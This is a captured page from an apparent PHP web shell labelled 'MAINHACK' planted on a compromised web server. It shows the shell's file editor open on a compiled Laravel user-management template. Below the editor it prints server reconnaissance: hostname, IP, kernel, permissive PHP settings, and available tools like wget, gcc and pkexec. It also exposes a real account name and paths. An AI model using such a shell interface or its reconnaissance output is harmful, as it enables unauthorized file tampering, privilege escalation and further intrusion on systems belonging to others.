[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: 36dd28ea017aa2626b0513982d805c53.php
<?php $__env->startSection('content'); ?> <div class="row"> <div class="col-lg-12"> <div class="card"> <div class="card-header d-sm-flex align-items-center justify-content-between"> <h4 class="header-title"><?php echo e(_lang('System Users')); ?></h4> <div class="mt-2 mt-sm-0"> <a class="btn btn-dark btn-xs" href="<?php echo e(route('invitation_history.index', $business->id)); ?>"><?php echo e(_lang('Invitation History')); ?></a> <a class="btn btn-primary btn-xs ajax-modal" data-title="<?php echo e(_lang('Invite New User')); ?>" href="<?php echo e(route('system_users.invite', $business->id)); ?>"><i class="ti-plus mr-1"></i><?php echo e(_lang('Invite User')); ?></a> </div> </div> <div class="card-body"> <table class="table data-table"> <thead> <tr> <th><?php echo e(_lang('Name')); ?></th> <th><?php echo e(_lang('Business')); ?></th> <th><?php echo e(_lang('Role')); ?></th> <th><?php echo e(_lang('Status')); ?></th> <th class="text-center"><?php echo e(_lang('Action')); ?></th> </tr> </thead> <tbody> <?php $__currentLoopData = $business->users; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $user): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?> <tr data-id="row_<?php echo e($user->id); ?>"> <td class='name'> <div class="d-flex align-items-center"> <img src="<?php echo e(profile_picture($user->profile_picture)); ?>" class="thumb-sm img-thumbnail rounded-circle mr-2"> <div><span class="d-block text-height-0"><b><?php echo e($user->name); ?></b></span><span class="d-block"><?php echo e($user->email); ?></span></div> </div> </td> <td class='business'><?php echo e($business->name); ?></td> <td class='role'><?php echo e($user->pivot->role_id == NULL ? _lang('Admin') : $user->roles->find($user->pivot->role_id)->name); ?></td> <td class='status'><?php echo xss_clean(user_status($user->status)); ?></td> <td class="text-center"> <?php if($user->pivot->role_id != NULL): ?> <form action="<?php echo e(route('system_users.destroy', $user->id)); ?>" method="post"> <?php echo e(csrf_field()); ?> <input name="_method" type="hidden" value="DELETE"> <a class="btn btn-primary btn-xs ajax-modal" href="<?php echo e(route('system_users.change_role', [$user->id, $business->id])); ?>" data-title="<?php echo e(_lang('Change Role')); ?>"><i class="ti-pencil mr-1"></i><?php echo e(_lang('Change Role')); ?></a> <button class="btn btn-danger btn-xs btn-remove" type="submit"><i class="ti-trash mr-1"></i><?php echo e(_lang('Delete')); ?></button> </div> </form> <?php else: ?> <a class="btn btn-primary btn-xs disabled" href="#"><i class="ti-pencil mr-1"></i><?php echo e(_lang('Change Role')); ?></a> <button class="btn btn-danger btn-xs" type="button" disabled><i class="ti-trash mr-1"></i><?php echo e(_lang('Delete')); ?></button> <?php endif; ?> </td> </tr> <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?> </tbody> </table> </div> </div> </div> </div> <?php $__env->stopSection(); ?> <?php echo $__env->make('layouts.app', \Illuminate\Support\Arr::except(get_defined_vars(), ['__data', '__path']))->render(); ?><?php /**PATH /home/eliosofonline/acc.eliosof.com/resources/views/backend/user/business/system_users.blade.php ENDPATH**/ ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.79 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002